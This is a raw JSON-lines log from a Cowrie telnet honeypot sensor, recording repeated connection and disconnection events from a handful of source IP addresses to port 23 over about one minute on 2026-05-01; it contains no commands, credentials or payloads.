{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":43408,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f4b22fb6a9","protocol":"telnet","message":"New connection: 45.14.224.154:43408 (159.203.135.109:23) [session: 88f4b22fb6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:24.341705Z"}
{"eventid":"cowrie.session.closed","duration":31.040381908416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:24.622023Z","src_ip":"45.14.224.154","session":"dcdcc4063d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":43410,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a221e93a57a","protocol":"telnet","message":"New connection: 45.14.224.154:43410 (159.203.135.109:23) [session: 9a221e93a57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:27.026520Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":43424,"dst_ip":"159.203.135.109","dst_port":23,"session":"557ff07dcbee","protocol":"telnet","message":"New connection: 45.14.224.154:43424 (159.203.135.109:23) [session: 557ff07dcbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:30.444304Z"}
{"eventid":"cowrie.session.closed","duration":30.38683009147644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:31.062397Z","src_ip":"45.14.224.154","session":"a1d080655dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07642912864685,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:31.426371Z","src_ip":"45.63.42.31","session":"e11112467e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46914,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d57303554a6","protocol":"telnet","message":"New connection: 161.97.181.240:46914 (10.17.0.5:23) [session: 6d57303554a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:32.708405Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":47054,"dst_ip":"159.203.135.109","dst_port":23,"session":"85fb8645b730","protocol":"telnet","message":"New connection: 45.14.224.154:47054 (159.203.135.109:23) [session: 85fb8645b730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:34.031076Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53930,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42dc4ed785e","protocol":"telnet","message":"New connection: 161.97.181.240:53930 (10.17.0.5:23) [session: f42dc4ed785e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:34.810854Z"}
{"eventid":"cowrie.session.closed","duration":31.094948530197144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:35.062014Z","src_ip":"45.14.224.154","session":"36e00935affb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694560050964355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:35.513170Z","src_ip":"45.14.224.154","session":"e659720b3ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":57618,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a605df507e2","protocol":"telnet","message":"New connection: 103.115.172.252:57618 (10.17.0.5:23) [session: 0a605df507e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:35.714180Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60874,"dst_ip":"10.17.0.5","dst_port":23,"session":"37c275c1c61e","protocol":"telnet","message":"New connection: 161.97.181.240:60874 (10.17.0.5:23) [session: 37c275c1c61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:36.660652Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42490,"dst_ip":"10.17.0.5","dst_port":23,"session":"21d40230bad2","protocol":"telnet","message":"New connection: 161.97.181.240:42490 (10.17.0.5:23) [session: 21d40230bad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:39.421962Z"}
{"eventid":"cowrie.session.closed","duration":36.19361591339111,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:39.740245Z","src_ip":"45.63.42.31","session":"e3a801a017e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b5014e1388","protocol":"telnet","message":"New connection: 161.97.181.240:44488 (10.17.0.5:23) [session: e0b5014e1388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:40.024034Z"}
{"eventid":"cowrie.session.closed","duration":30.721131324768066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:41.048323Z","src_ip":"45.14.224.154","session":"8b7c4e227ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":47064,"dst_ip":"159.203.135.109","dst_port":23,"session":"bccaa8ce06ae","protocol":"telnet","message":"New connection: 45.14.224.154:47064 (159.203.135.109:23) [session: bccaa8ce06ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:41.231390Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50222,"dst_ip":"10.17.0.5","dst_port":23,"session":"fccd3020f044","protocol":"telnet","message":"New connection: 161.97.181.240:50222 (10.17.0.5:23) [session: fccd3020f044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:41.712546Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":50988,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46fcede5bbe","protocol":"telnet","message":"New connection: 45.14.224.154:50988 (159.203.135.109:23) [session: d46fcede5bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:42.545909Z"}
{"eventid":"cowrie.session.closed","duration":30.666117668151855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:43.072560Z","src_ip":"45.14.224.154","session":"d8bdab3a3132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56958,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8eb26de269","protocol":"telnet","message":"New connection: 161.97.181.240:56958 (10.17.0.5:23) [session: da8eb26de269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:43.590099Z"}
{"eventid":"cowrie.session.closed","duration":34.16194438934326,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:43.868362Z","src_ip":"45.63.42.31","session":"f5edcf888769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5920991897583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:45.078808Z","src_ip":"45.14.224.154","session":"5252cb07f197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":50998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea176c815c72","protocol":"telnet","message":"New connection: 45.14.224.154:50998 (159.203.135.109:23) [session: ea176c815c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:45.234272Z"}
{"eventid":"cowrie.session.closed","duration":35.47985577583313,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:47.068351Z","src_ip":"45.63.42.31","session":"29c105266a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"2513d371412f","protocol":"telnet","message":"New connection: 161.97.181.240:43392 (10.17.0.5:23) [session: 2513d371412f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:47.629103Z"}
{"eventid":"cowrie.session.closed","duration":34.96995544433594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:48.828381Z","src_ip":"45.63.42.31","session":"f1a5e547010a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256381273269653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:50.062404Z","src_ip":"45.14.224.154","session":"4693397e0ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65746784210205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:50.067286Z","src_ip":"45.14.224.154","session":"4f9099d2df75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634546995162964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:51.000292Z","src_ip":"161.97.181.240","session":"d0b250234d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07027578353882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:53.281940Z","src_ip":"45.14.224.154","session":"ee408ad418a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":45724,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5e0f88d9fa","protocol":"telnet","message":"New connection: 45.14.224.154:45724 (159.203.135.109:23) [session: 2d5e0f88d9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:54.166382Z"}
{"eventid":"cowrie.session.closed","duration":35.61747980117798,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:54.810386Z","src_ip":"45.63.42.31","session":"92c8a21323c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712178945541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:55.053750Z","src_ip":"45.14.224.154","session":"88f4b22fb6a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":45738,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c70c7742653","protocol":"telnet","message":"New connection: 45.14.224.154:45738 (159.203.135.109:23) [session: 6c70c7742653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:56.956512Z"}
{"eventid":"cowrie.session.closed","duration":31.059324979782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:58.085709Z","src_ip":"45.14.224.154","session":"9a221e93a57a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52696,"dst_ip":"10.17.0.5","dst_port":23,"session":"875f4322328c","protocol":"telnet","message":"New connection: 161.97.181.240:52696 (10.17.0.5:23) [session: 875f4322328c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:58.522358Z"}
{"eventid":"cowrie.session.closed","duration":47.73511052131653,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:58.973432Z","src_ip":"103.115.172.252","session":"f6f7265584bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61694312095642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:01.061095Z","src_ip":"45.14.224.154","session":"557ff07dcbee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29250431060791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:03.000561Z","src_ip":"161.97.181.240","session":"6d57303554a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.270267248153687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:05.080975Z","src_ip":"161.97.181.240","session":"f42dc4ed785e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47840,"dst_ip":"10.17.0.5","dst_port":23,"session":"461c9e8f97e1","protocol":"telnet","message":"New connection: 45.63.42.31:47840 (10.17.0.5:23) [session: 461c9e8f97e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:05.248475Z"}
{"eventid":"cowrie.session.closed","duration":31.373773097991943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:05.404739Z","src_ip":"45.14.224.154","session":"85fb8645b730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":48586,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b1aea742173","protocol":"telnet","message":"New connection: 161.97.181.240:48586 (10.17.0.5:23) [session: 3b1aea742173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:06.466991Z"}
{"eventid":"cowrie.session.closed","duration":30.55018925666809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:07.210721Z","src_ip":"161.97.181.240","session":"37c275c1c61e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3865ea3ce167","protocol":"telnet","message":"New connection: 185.26.126.47:55832 (159.203.135.109:23) [session: 3865ea3ce167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:07.336907Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56392,"dst_ip":"159.203.135.109","dst_port":23,"session":"55966e3aa37c","protocol":"telnet","message":"New connection: 185.26.126.47:56392 (159.203.135.109:23) [session: 55966e3aa37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:08.336444Z"}
{"eventid":"cowrie.session.closed","duration":30.575345516204834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:09.997209Z","src_ip":"161.97.181.240","session":"21d40230bad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36906,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7b91b65eab","protocol":"telnet","message":"New connection: 161.97.181.240:36906 (10.17.0.5:23) [session: dc7b91b65eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:10.221365Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ec20bf3aec","protocol":"telnet","message":"New connection: 161.97.181.240:37508 (10.17.0.5:23) [session: f2ec20bf3aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:10.396894Z"}
{"eventid":"cowrie.session.closed","duration":31.136401891708374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:11.160217Z","src_ip":"161.97.181.240","session":"e0b5014e1388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31573796272278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:12.028257Z","src_ip":"161.97.181.240","session":"fccd3020f044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825268983840942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:12.056538Z","src_ip":"45.14.224.154","session":"bccaa8ce06ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536860704421997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:13.082627Z","src_ip":"45.14.224.154","session":"d46fcede5bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4781231880188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:14.068071Z","src_ip":"161.97.181.240","session":"da8eb26de269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f30c493cd4d","protocol":"telnet","message":"New connection: 161.97.181.240:52532 (10.17.0.5:23) [session: 6f30c493cd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:14.603510Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52802,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36a1bcd75d9","protocol":"telnet","message":"New connection: 161.97.181.240:52802 (10.17.0.5:23) [session: c36a1bcd75d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:14.677784Z"}
{"eventid":"cowrie.session.closed","duration":30.82067322731018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:16.054811Z","src_ip":"45.14.224.154","session":"ea176c815c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9a8ac456bc","protocol":"telnet","message":"New connection: 161.97.181.240:60362 (10.17.0.5:23) [session: 6e9a8ac456bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:16.584691Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"72129510e095","protocol":"telnet","message":"New connection: 161.97.181.240:34690 (10.17.0.5:23) [session: 72129510e095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:17.282333Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36578,"dst_ip":"10.17.0.5","dst_port":23,"session":"80941f58b423","protocol":"telnet","message":"New connection: 161.97.181.240:36578 (10.17.0.5:23) [session: 80941f58b423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:17.788836Z"}
{"eventid":"cowrie.session.closed","duration":31.188058853149414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:18.817024Z","src_ip":"161.97.181.240","session":"2513d371412f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":46826,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cce86b3247f","protocol":"telnet","message":"New connection: 45.14.224.154:46826 (159.203.135.109:23) [session: 1cce86b3247f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:19.674856Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":46836,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8f7fa63f41","protocol":"telnet","message":"New connection: 45.14.224.154:46836 (159.203.135.109:23) [session: eb8f7fa63f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:19.935637Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50740,"dst_ip":"10.17.0.5","dst_port":23,"session":"450da61976d1","protocol":"telnet","message":"New connection: 161.97.181.240:50740 (10.17.0.5:23) [session: 450da61976d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:21.850043Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56790,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb3383b78a0","protocol":"telnet","message":"New connection: 161.97.181.240:56790 (10.17.0.5:23) [session: 4eb3383b78a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:23.555627Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":46008,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d571c1dda5d","protocol":"telnet","message":"New connection: 45.14.224.154:46008 (159.203.135.109:23) [session: 8d571c1dda5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:24.528527Z"}
{"eventid":"cowrie.session.closed","duration":30.890931606292725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:25.057209Z","src_ip":"45.14.224.154","session":"2d5e0f88d9fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37632,"dst_ip":"10.17.0.5","dst_port":23,"session":"107f7cdf02bf","protocol":"telnet","message":"New connection: 161.97.181.240:37632 (10.17.0.5:23) [session: 107f7cdf02bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:26.113997Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44002,"dst_ip":"10.17.0.5","dst_port":23,"session":"570707a35556","protocol":"telnet","message":"New connection: 161.97.181.240:44002 (10.17.0.5:23) [session: 570707a35556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:27.790650Z"}
{"eventid":"cowrie.session.closed","duration":31.608527660369873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:28.564533Z","src_ip":"45.14.224.154","session":"6c70c7742653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714570999145508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:29.236763Z","src_ip":"161.97.181.240","session":"875f4322328c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37812,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2205a9d7945","protocol":"telnet","message":"New connection: 45.63.42.31:37812 (10.17.0.5:23) [session: c2205a9d7945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:29.437426Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50864,"dst_ip":"10.17.0.5","dst_port":23,"session":"879cf766fff4","protocol":"telnet","message":"New connection: 161.97.181.240:50864 (10.17.0.5:23) [session: 879cf766fff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:29.508362Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":49574,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac00925c8c2f","protocol":"telnet","message":"New connection: 45.14.224.154:49574 (159.203.135.109:23) [session: ac00925c8c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:32.294037Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43696,"dst_ip":"10.17.0.5","dst_port":23,"session":"56b1847a7d00","protocol":"telnet","message":"New connection: 45.63.42.31:43696 (10.17.0.5:23) [session: 56b1847a7d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:33.442111Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f17539707077","protocol":"telnet","message":"New connection: 45.63.42.31:45058 (10.17.0.5:23) [session: f17539707077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:34.148096Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47512,"dst_ip":"10.17.0.5","dst_port":23,"session":"d79970f9c375","protocol":"telnet","message":"New connection: 161.97.181.240:47512 (10.17.0.5:23) [session: d79970f9c375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:36.048506Z"}
{"eventid":"cowrie.session.closed","duration":30.571237325668335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:37.038105Z","src_ip":"161.97.181.240","session":"3b1aea742173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51258,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f634aa2f265","protocol":"telnet","message":"New connection: 161.97.181.240:51258 (10.17.0.5:23) [session: 6f634aa2f265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:54:37.176220Z"}
